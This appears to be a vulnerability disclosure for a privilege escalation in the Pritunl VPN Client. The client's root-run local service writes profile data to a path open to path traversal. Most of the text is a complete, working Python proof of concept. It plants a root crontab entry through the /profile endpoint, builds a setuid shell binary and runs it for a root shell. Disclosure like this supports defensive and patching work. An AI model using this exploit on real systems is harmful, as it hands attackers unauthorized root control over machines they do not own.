The Pritunl Client communicated with a local service to perform actions. The
service, running as root, would write user specified data to the user specified
path, leading to privilege escalation. One of the endpoints, /profile
, will
accept Profile data (e.g. ID, config data, username, and password) and attempt
to start the profile. When starting a profile, the service writes the config
data to /tmp/pritunl/<ID>
. This file write is vulnerable to path traversal and
writes the file with root permissions. After a few seconds, the file is
deleted. This could be used to modify system files and escalate privileges.
The following proof-of-concept works against Pritunl VPN Client v1.0.1075.52
and prior. It will create a binary at /tmp/exploit
that launches a shell.
import requests
import time
import json
import os
# drop binary to execute a shell as root (after +s)
prog = """
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int main(void) { setuid(0); setgid(0); system("/bin/sh"); }
"""
open('/tmp/exploit.c','w').write(prog)
# set up the payload to create a SUID binary via cron
payload = """# DO NOT EDIT THIS crontab, IT WILL BE DELETED
* * * * * gcc -o /tmp/exploit /tmp/exploit.c && chmod +s /tmp/exploit
"""
profile = {
"id": "../../var/at/tabs/root",
"data": payload,
"username": "what",
"password": "ever"
}
profileData = json.dumps(profile)
# set up the request headers
headers = {
"Content-Type": "application/json",
}
# read the public auth key, if relevant
keyFile = '/tmp/pritunl_auth'
if os.path.exists(keyFile):
authKey = open(keyFile).read()
headers.update({"Auth-Key": authKey})
# wait until just before cron would trigger
ts = time.localtime().tm_sec
time.sleep(60 - ts - 1)
# send exploit
url = "http://127.0.0.1:9770"
requests.post(url+"/profile", headers=headers, data=profileData)
# wait a few moments for cron to trigger
time.sleep(2)
os.system("/tmp/exploit")